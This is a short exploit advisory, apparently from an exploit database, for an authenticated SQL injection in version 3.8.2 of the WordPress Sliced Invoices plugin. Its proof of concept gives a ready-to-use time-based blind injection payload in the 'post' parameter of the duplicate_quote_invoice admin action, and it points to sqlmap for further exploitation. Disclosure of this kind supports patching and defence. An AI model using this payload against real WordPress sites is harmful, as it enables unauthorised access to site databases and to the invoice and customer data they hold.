# Exploit Title: WordPress Sliced Invoices 3.8.2 - 'post' SQL Injection# Date: 2019-10-22# Exploit Author: Lucian Ioan Nitescu# Contact: https://twitter.com/LucianNitescu# Webiste: https://nitesculucian.github.io# Vendor Homepage: https://slicedinvoices.com/# Software Link: https://wordpress.org/plugins/sliced-invoices/# Version: 3.8.2# Tested on: Ubuntu 18.04 / WordPress 5.3# 1. Description:# WordPress Sliced Invoices plugin with a version lower then 3.8.2 is affected # by an Authenticated SQL Injection vulnerability.# 2. Proof of Concept: # Authenticated SQL Injection:- Using an WordPress user, access <your target>/wp-admin/admin.php?action=duplicate_quote_invoice&post=8%20and%20(select*from(select(sleep(20)))a)--%20- The response will be returned after 20 seconds proving the successful exploitation of the vulnerability.- Sqlmap can be used to further exploit the vulnerability.